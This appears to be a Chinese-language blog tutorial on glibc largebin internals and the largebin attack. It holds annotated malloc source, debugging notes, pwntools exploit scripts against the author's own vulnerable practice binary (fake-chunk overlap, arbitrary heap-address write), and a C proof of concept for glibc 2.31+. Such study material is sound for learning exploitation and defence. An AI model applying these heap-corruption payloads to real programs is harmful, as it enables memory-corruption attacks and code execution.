LargebinAttack

文章发布时间:

最后更新时间:

文章总字数:
4.9k

预计阅读时间:
20 分钟

Largebin介绍

Largebin用来收容超过0x400大小以上的chunk(64位) 其是一个双向链表
一共可以容纳63个chunk 和fastbin等不同的是 其对于链表对应存储chunk的大小没有明确规定 而是一个范围
一共分为6组
image.png
这里的差值(以字节为单位)是一个什么意思呢 比如在组别1中 现在释放三个chunk到largebin中 chunkA的大小是0x400 chunkB的大小是0x410 chunkC的大小是0x450
此时由于chunkC和chunkA的差值大于了64字节 所以chunkA和chunkB是位于同一组中 chunkC是另外一组
这在largebin这个双向链表中是一个什么情形呢 我们知道 largebin相对于unsortedbin多出来两个域 一个fd_nextsize 一个bk_nextsize
这两个域和fd和bk的域差距在哪里呢?
在largebin中 不同组的排列是根据从大到小来的 方便其遍历
fd_nextsize指向的是比当前组别小的组中最大的组
bk_nextsize指向的是比当前组别大的组中最小的组
而fd和bk则是用来指向组内的chunk
这么说可能不太好理解 用一张图来演示一下
image.png
size最大的chunk的bk_nextsize指向最小的chunk
size最小的chunk的fd_nextsize指向最大的chunk
并且相同大小的chunk只有链表头的fd_nextsize和bk_nextsize才有值 其余为0

Largebin中chunk的插入取出机制

插入

源码理解

来看看glibc源码是如何逐步使得chunk插入到largebin链表中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
/* place chunk in bin */

if (in_smallbin_range (size)) //如果是smallbin的大小就放到smallbin
{
victim_index = smallbin_index (size);
bck = bin_at (av, victim_index);
fwd = bck->fd;
}
else //如果是largebin的大小,那么:
{
victim_index = largebin_index (size);//根据size获取对应的largebin索引
bck = bin_at (av, victim_index); //获取largebin表头
fwd = bck->fd; //获取对应索引largebin的第一个chunk(循环链表的head->next)

/* maintain large bins in sorted order */
if (fwd != bck) //当第一个不等于最后一个(即当前的largebin不空)
{
/* Or with inuse bit to speed comparisons */
size |= PREV_INUSE;
/* if smaller than smallest, bypass loop below */
assert (chunk_main_arena (bck->bk)); //是否在main_arena?(主线程)
if ((unsigned long) (size)
< (unsigned long) chunksize_nomask (bck->bk))//bck->bk储存的是当前索引的largebin中大小最小的chunk,如果我们要插入的chunk比这个大小还小,那么就要插入largebin的尾部。
{
fwd = bck; //fwd此时为largebin表头
bck = bck->bk; //bck设置为largebin中最后一个的chunk

victim->fd_nextsize = fwd->fd;//由于我们要插入的在末尾,比他小的就是循环回去的第一个chunk
victim->bk_nextsize = fwd->fd->bk_nextsize;//比他大的就是之前的最小的那个

//原来链表的第一个chunk的bk指向此时新插入的最后一个chunk
fwd->fd->bk_nextsize =
victim->bk_nextsize->fd_nextsize = victim;
}

// 如果不是插入尾部,那么我们要找到这个chunk应该插入的位置
else
{
assert (chunk_main_arena (fwd));
//使用这个while循环尝试从链表头部开始遍历,直到找到一个比victim大或等于的chunk退出while
while ((unsigned long) size < chunksize_nomask (fwd))
{
fwd = fwd->fd_nextsize; //取下一个
assert (chunk_main_arena (fwd));//检查分配区
}

//如果找到了跟他想等的
if ((unsigned long) size
== (unsigned long) chunksize_nomask (fwd))
/* Always insert in the second position. */
fwd = fwd->fd;//直接将victim插入他的后面(通过fd),不修改nextsize指针。

//如果大小不一样(即此时fwd是相邻的大于victim的chunk)
//需要构造nextsize双向链表,构造新节点,victim作为堆头
else
{
//比victim小的指向fwd
//比victim大的指向fwd的bk_nextsize(比fwd大的那个)
//相当于插入了fwd与fwd->bk_nextsize之间
victim->fd_nextsize = fwd;
victim->bk_nextsize = fwd->bk_nextsize;

if (__glibc_unlikely (fwd->bk_nextsize->fd_nextsize != fwd))//检查size链完整性
malloc_printerr ("malloc(): largebin double linked list corrupted (nextsize)");
//对应的去改fwd的相关指针成链
fwd->bk_nextsize = victim;
victim->bk_nextsize->fd_nextsize = victim;
//插入完成
}

bck = fwd->bk;
if (bck->fd != fwd)
malloc_printerr ("malloc(): largebin double linked list corrupted (bk)");
}
}
else
victim->fd_nextsize = victim->bk_nextsize = victim;//此时victim为唯一的chunk,也要做循环链表
}
//放到对应的 bin 中,构成 bk<-->victim<-->fwd。
mark_bin (av, victim_index); //标识bitmap
victim->bk = bck;
victim->fd = fwd;
fwd->bk = victim;
bck->fd = victim;

上述的源码注释来源自

[原创]Largebin attack总结-二进制漏洞-看雪论坛-安全社区|安全招聘|bbs.pediy.com (kanxue.com)

以下是我自己对于这个过程的理解

1.释放一个chunk后 首先对其大小进行判断 区分到smallbin或者是largebin 这里不讨论smallbin的情况

2.根据当前chunk的size 来索引对应的index 并且获得两个位于链表中chunk的指针 fwd指向链表头 也就是最大的chunk

bck指向最小的chunk

3.对于fwd和bck进行判断 如果二者相等 那么此时链表中就为空 直接将chunk放置为链表头 如果二者不相同 那么链表不为空 分为两种情况 如果chunk的size不是当前链表中最小的 从链表头开始 根据fd_nextsize指针来从大到小依次对比链表中原有的chunk大小和要插入的chunk大小 如果没有找到 那么就在对应合适的位置将当前chunk置为对应的链表头 其fd_nextsize和bk_nextsize各自指向对应的链表 如果找到了 就接入对应链表中 fd_nextsize和bk_nextsize为0

4.如果当前chunk的size是当前链表中最小的 那么就直接放置到链表末尾 如果作为链表头 fd_nextsize指向最大的chunk的链表头 构成一个循环 bk_nextsize指向比当前链表更大一点的链表 如果链表尾的大小与要插入的chunk大小一致 那么就接在对应链表中

调试

接下来我们来调试一番

调试环境

image-20230308190814310

1
2
3
4
add(0x410,b'aaaa')#0
add(0x10,b'aaaa')#1
delete(0)
debug()

chunk1用来防止chunk0释放以后和top chunk合并

此时chunk0释放以后优先进入unsortedbin

image-20230308190941528

要使得重新分配unsortedbin中的chunk 就需要我们申请一个超过unsortedbin中所有chunk大小的堆块 这样就会把unsortedbin中所有的chunk分配到largebin或者smallbin中

否则则将大小足够分配申请的chunk的free chunk分配出所需要的大小 其余unsortedbin中的chunk各自检验大小放入到largebin中

1
2
3
4
5
6
7
8
9
10
11
add(0x450,b'aaaa')
add(0x10,b'aaaa')
add(0x490,b'aaaa')
add(0x10,b'aaaa')
add(0x500,b'aaaa')
add(0x10,b'aaaa')
delete(0)
delete(2)
delete(4)
add(0x460,b'aaaa')
debug()

image-20230308192148869

接着我们来看看双链表结构大概是一个什么样子

1
2
3
4
5
6
7
8
9
10
11
add(0x450,b'aaaa')
add(0x10,b'aaaa')
add(0x490,b'aaaa')
add(0x10,b'aaaa')
add(0x500,b'aaaa')
add(0x10,b'aaaa')
delete(0)
delete(2)
delete(4)
add(0x550,b'aaaa')
debug()

申请三个大小足够放入到largebin的chunk 并且为了防止物理相邻合并用0x10大小的chunk隔开 最后申请一个大chunk将unsortedbin的chunk分配到largebin中 此时预期这三个chunk应该各自成为链表头

image-20230308192948996

此时我们在原来的基础上再多申请一个0x450大小的chunk 不出意外应该是分配到0x440链表后

image-20230308193401341

image-20230308193409699

可以看到只有位于链表头的chunk的fd_nextsize和bk_nextsize才有值

具体的利用手法等下来讲吧 更进一步的调试可以自己尝试

取出

源码理解

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
/*
If a large request, scan through the chunks of current bin in
sorted order to find smallest that fits. Use the skip list for this.
*/
if (!in_smallbin_range (nb))//如果不在samllbin大小中
{
bin = bin_at (av, idx); //找到申请的size对应的largebin链表

/* skip scan if empty or largest chunk is too small */
if ((victim = first (bin)) != bin && //此时victim为链表的第一个节点
(unsigned long) (victim->size) >= (unsigned long) (nb)) //第一步,判断链表的第一个结点,即最大的chunk是否大于要申请的size
{
//进入这里时,已经确定链表第一个节点——即最大的chunk大于要申请的size,那么我们就应该从这一条链中取,问题就是取这一条链上的哪一个?
victim = victim->bk_nextsize; //本来victim是链中最大的那个,现在我们要从小往遍历,那么victim->bk_nextsize就循环回了链中最小的那个
while (((unsigned long) (size = chunksize (victim)) <
(unsigned long) (nb))) //第二步,从最小的chunk开始,反向遍历 chunk size链表,直到找到第一个大于等于所需chunk大小的chunk退出循环
victim = victim->bk_nextsize;//victim取相邻的更大size的chunk

/* Avoid removing the first entry for a size so that the skip
list does not have to be rerouted. */
if (victim != last (bin) && victim->size == victim->fd->size) //第三步,申请的chunk对应的chunk存在多个结点,则申请相应堆头的下个结点,不申请堆头。
victim = victim->fd; //出现相同大小时堆头作为次优先申请

remainder_size = size - nb;
unlink (av, victim, bck, fwd); //第四步,largebin unlink 操作

/* Exhaust */
if (remainder_size < MINSIZE) //第五步,如果剩余的空间小于MINSIZE,则将该空间直接给用户
{
set_inuse_bit_at_offset (victim, size);
if (av != &main_arena)
victim->size |= NON_MAIN_ARENA;
}
/* Split */
else
{
remainder = chunk_at_offset (victim, nb); //第六步,如果当前剩余空间还可以构成chunk,则将剩余的空间放入到unsorted bin中(切割后)。

/* We cannot assume the unsorted list is empty and therefore
have to perform a complete insert here. */
bck = unsorted_chunks (av);//bck是ub头
fwd = bck->fd; //fwd是ub第一个chunk
if (__glibc_unlikely (fwd->bk != bck))
{
errstr = "malloc(): corrupted unsorted chunks";
goto errout;
}
remainder->bk = bck;
remainder->fd = fwd;
bck->fd = remainder;
fwd->bk = remainder;
//以上操作完成后lastremainder被插入ub,成为新的链首元素
//如果不在smallbin范围,那么nextsize指针置空
if (!in_smallbin_range (remainder_size))
{
remainder->fd_nextsize = NULL;
remainder->bk_nextsize = NULL;
}

set_head (victim, nb | PREV_INUSE |
(av != &main_arena ? NON_MAIN_ARENA : 0));
set_head (remainder, remainder_size | PREV_INUSE);
set_foot (remainder, remainder_size);
}
check_malloced_chunk (av, victim, nb);
void *p = chunk2mem (victim);
alloc_perturb (p, bytes);
return p;
}
}

可以总结为以下流程:

1.首先读取largebin中最大chunk的大小 与用户申请的大小对比 如果小于则另寻办法申请chunk 如果大于就进入下一步

2.根据bk_nextsize来索引最小的chunk 顺着fd_nextsize来寻找与申请大小最为接近的chunk

3.如果查找到了合适的free chunk 先判断其是否只有单一chunk位于链表头 如果链表中有其他chunk的话 则分配其他chunk 这样是为了节省重新分配fd_nextsize和bk_nextsize的麻烦

4.判断分配完了的free chunk 如果剩余的大小大于MINSIZE 那么就放入到unsortedbin中 如果剩余大小小于MINSIZE 则一并分配给用户

调试

首先是我自己的第一个疑问 如何申请到单位不是MINSIZE的chunk 先来尝试一下手动修改size值 看看会不会按照预期效果分配chunk

image-20230308200227435

将这一个chunk的size域从0x461修改为0x466 按照源代码的逻辑 此时申请一个0x410大小的chunk 剩下被分配到unsortedbin的chunk大小应该为0x40

image-20230308200449709

失败了 看来是无法单单通过修改size域来实现预期效果

到这里转念一想 64位构成一个chunk最起码也要0x20字节 毕竟还需要size域和prev_size域 也就是说如果此时largebin中有一个0x460的free chunk 我们申请一个0x450的chunk 显然会剩下0x10字节 小于MINSIZE 那么按照逻辑 就应该一起给了用户申请的chunk

image-20230308201736899

可以看到确实是这样

漏洞利用

修改bk_nextsize来造成overlap

漏洞的原理在于将chunk从largebin中取出的时候 其是从最小的chunk开始索引 以此找到适合的free chunk用来分配

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
if ((victim = first (bin)) != bin &&
(unsigned long) (victim->size) >= (unsigned long) (nb)) //判断链表的第一个结点,即最大的chunk是否大于要申请的size
{
victim = victim->bk_nextsize;
while (((unsigned long) (size = chunksize (victim)) <
(unsigned long) (nb)))
victim = victim->bk_nextsize; //漏洞点,伪造bk_nextsize

if (victim != last (bin) && victim->size == victim->fd->size)
victim = victim->fd;

remainder_size = size - nb;
unlink (av, victim, bck, fwd);

...
return p;

关键点在于victim = victim->bk_nextsize这一句 如果我们修改了victim的bk_nextsize域 再构造一个fake chunk 就可以申请到fake chunk

通常这一做法被用来构造overlap chunk 接下来详细分析一下

环境: libc2.23

漏洞目的:实现overlap chunk

漏洞需求:拥有向largebin中释放堆块的能力 能够泄露出堆地址 拥有堆溢出

演示二进制程序:由笔者自己编写 基本所有漏洞都有

首先我们需要先泄露libc基址 在没有UAF的前提下 我们可以通过申请两个chunk 将其释放到fastbin中 此时后释放的chunk位于链表头 其fd指向先释放的chunk 由于malloc函数在申请chunk的后并不会对chunk的内容进行清空 所以我们可以再次申请同样大小的chunk 将链表头的chunk申请出来 随后打印出chunk的内容 也就是泄露基址

1
2
3
4
5
6
7
8
9
10
add(0x10,b'aaaa')#0
add(0x10,b'aaaa')#1
delete(1)
delete(0)
add(0x10,b'1')#2
show(2)
io.recv()
heap_addr = u64(io.recv(4).ljust(8,b'\x00'))-0x31
success(hex(heap_addr))
add(0x10,b'aaaa')#3 把还在fastbin中的chunk1申请回来 理论上应该不影响 但是在之前chunk extend的时候有影响 所以还是申请出来为妙

我们一共需要两个chunk 下面我们分别称这些chunk为chunkA B

chunkA是要放入到largebin中的 并且其要为largebin中最大的chunk 这样修改chunkA的bk_nextsize域才能索引到fake chunk

chunkB则是用来构造fake chunk的

在学习unlink的时候 当时的unlink可以做到任意地址申请 因为最后chunk的ptr和fd、bk域有关

largebin的unlink则是用来申请一个正在使用的chunk 从而导致overlap 为此我们只需要绕过一个判断即可

1
2
if (__builtin_expect (fd->bk != p || bk->fd != p, 0))
malloc_printerr ("corrupted double-linked list");

我们需要使得 fake chunk的fd域或者是bk域指向的地址 以此地址为chunk首地址 其bk域和fd域相应的存放fake chunk的首地址

image-20230310135640568

此时的chunkB的内部构造应该是这个样子 这里之所以在fake_nextsize域后还要再加上fakechunk的首地址 就是为了绕过unlink检查

这里的fakechunk首地址放到哪里都行 只需要修改fd或者bk域 就比如图中的情况来说 我们需要保证这个值+0x20以后的地址存放着fakechunk的首地址 也就是我们需要填入chunkB+0x28 由于unlink的判断只需要满足一个就行 所以图中的构造其实是多余的

还需要注意的是nextsize域需要设置为0 因为如果nextsize域有值 plmalloc就会去申请下一个堆块 而非链表头的堆

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
bss_addr = 0x602200
add(0x10,b'aaaa')#0
add(0x10,b'aaaa')#1
delete(1)
delete(0)
add(0x10,b'1')#2
show(2)
io.recv()
heap_addr = u64(io.recv(4).ljust(8,b'\x00'))-0x31
success(hex(heap_addr))
add(0x10,b'aaaa')#3
add(0x470,b'aaaa')#4
add(0x20,b'aaaa')#5
delete(4)
add(0x480,b'aaaa')#6
chunkB_addr = heap_addr +0x4f0
success("chunkB_addr :"+hex(chunkB_addr))
payload = cyclic(0x18)+p64(0x481)+p64(0)*3+p64(chunkB_addr+0x10)
edit(3,len(payload),payload)
payload = cyclic(0x28)+p64(0x491)
payload1 = p64(0)+p64(0x481)+p64(chunkB_addr+0x40-0x18)+p64(chunkB_addr+0x40-0x10)+p64(0)*2+p64(chunkB_addr+0x10)*2
payload1 = payload1.ljust(0x480,b'\x00')
payload = payload+payload1
edit(5,len(payload),payload)
# payload = p64(chunkB_addr+0x10)*2
# bss_write(bss_addr,payload)
add(0x470,b'aaaa')#8
debug()

代码中注释的部分是bss段上构造双向链表 不过感觉正常的题不会给这个机会 也就我自己编写的题会给一个bss_write函数了

修改bk域和bk_nextsize域实现任意地址写堆地址

这种利用手法的意义在于 fastbin对于申请出来的chunk的大小和对应链表有检测 如果利用这个的话 就可以绕过这个检测

利用的关键在于源码中的这两处地方

1
2
3
4
 victim->bk_nextsize = fwd->bk_nextsize;  #1
victim->bk_nextsize->fd_nextsize = victim;

fwd->bk = victim; #2

第一句 此时的victim指向的是要放入largebin的chunk 其bk_nextsize域的值由fwd的bk_nextsize域决定

而victim的bk_nextsize指向的地址的fd_nextsize域会存入victim的地址 所以如果我们修改fwd的bk_nextsize域 就可以做到堆地址写

第二句 fwd的bk域指向的地址会存入victim的地址 这里同样可以利用

所以我们只需要修改已经位于largebin中的一个chunk的bk域和bk_nextsize域 同时释放一个size大于其的chunk进入largebin 就可以利用漏洞

1
2
3
4
5
6
7
8
9
10
11
bss_addr = 0x602200
add(0x400,b'aaaa')#0
add(0x10,b'aaaa')#1
delete(0)
add(0x410,b'aaaa')#2
add(0x410,b'aaaa')#3
payload = p64(0)+p64(bss_addr)+p64(0)+p64(bss_addr)
edit(0,len(payload),payload)
delete(2)
add(0x430,b'aaaa')#4
debug()

之所以chunk3的大小要同为可以被释放进largebin 是因为防止过小从chunk0中分配 导致chunk0被放入到unsortedbin 调大chunk0的值同样可行

chunk4的目的在于将chunk2放入到largebin

image-20230310230144021

此时的bss_addr内容如图所示 以0x602200为首地址 两字长后为bk域 是fwd->bk = victim的效果 也就是如果我们修改fwd的bk域 那么任意写的地址在于ptr_addr + 0x10

bk_nextsize的值则是victim->bk_nextsize->fd_nextsize = victim的效果 也就是我们修改fwd的bk_nextsize域 任意写的地址在于ptr_addr + 0x20

largebin的利用在高版本中还是比较常见的 许多house of系列就是基于largebin的 需要好好掌握

2.31以上漏洞利用

2.31对于largebin的检查做了一些增强 虽然还是能够largebinattack 往任意地址写堆地址 但是攻击效果没有那么强大了

新版本针对largebin 新增了两个检查 导致我们原本的方法行不通了

1
2
if (__glibc_unlikely (fwd->bk_nextsize->fd_nextsize != fwd)) malloc_printerr ("malloc(): largebin double linked list corrupted (nextsize)");
if (bck->fd != fwd) malloc_printerr ("malloc(): largebin double linked list corrupted (bk)");

但是还是有办法 原本我们利用的是比largebin中大的chunk放入largebin 引起的那些操作
与之相对的 还有小chunk放入largebin中的操作 不过只能往一个地址写入堆地址 相比之攻击效果不够强大 所以一开始没有使用

1
2
3
4
5
6
7
if ((unsigned long) (size) < (unsigned long) chunksize_nomask (bck->bk)){
fwd = bck;
bck = bck->bk;
victim->fd_nextsize = fwd->fd;
victim->bk_nextsize = fwd->fd->bk_nextsize;
fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
}

上面就是我们要利用的代码 直接跟着我来源码调试吧 这样就清楚了

我写的POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#include<stdio.h>
#include<malloc.h>
int main(){
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 2, 0);
puts("make by chen");
char test_array[0x20];
size_t *p1 = malloc(0x460); //largebin
malloc(0x10); //to separate
size_t *p2 = malloc(0x450); //unsortedbin
malloc(0x450); //to separate
free(p1);
malloc(0x470); //Release p1 into largebin
free(p2); //Release p2 into unsortedbin
*(p1+3) = test_array-0x20;
malloc(0x470); //Release p2 into largebin
}

image-20230324131150506

申请四个chunk chunk1和4用来防止合并 接着释放chunk0 随后申请一个大chunk 把chunk0放入到largebin中 并且把chunk2也放入到unsortedbin中

image-20230324131435420

接着我们需要伪造chunk0的bk_nextsize 将其修改为ptr_addr-0x20 然后把chunk2释放到largebin中

s进入malloc函数 接着n到int_malloc函数 再次s进入

image-20230324131722457

断点打在这三行源代码所在的行数 我所用的源码是3846 然后c到这里即可

image-20230324132115009

此时的victim->fd_nextsize即chunk2的fd_nextsize域 fwd->fd指向chunk0

执行完这步后 chunk2的fd_nextsize域写入chunk0的地址

image-20230324134935047

下一句相当于 chunk2的bk_nextsize域写入chunk0的bk_nextsize域内容

接下来一句就是我们任意写的关键了

往chunk0的bk_nextsize域 以及chunk2的bk_nextsize的fd_nextsize域写入chunk2地址 但是前一句 已经修改了chunk2的bk_nextsize域为chunk0的bk_nextsize域 所以此时是往我们修改的Ptr_addr+0x20写入chunk2地址

image-20230324135628692
总结一下 就是修改largebinchunk的bk_nextsize为ptr_addr-0x20 就可以往ptr_addr写入unsortedchunk的地址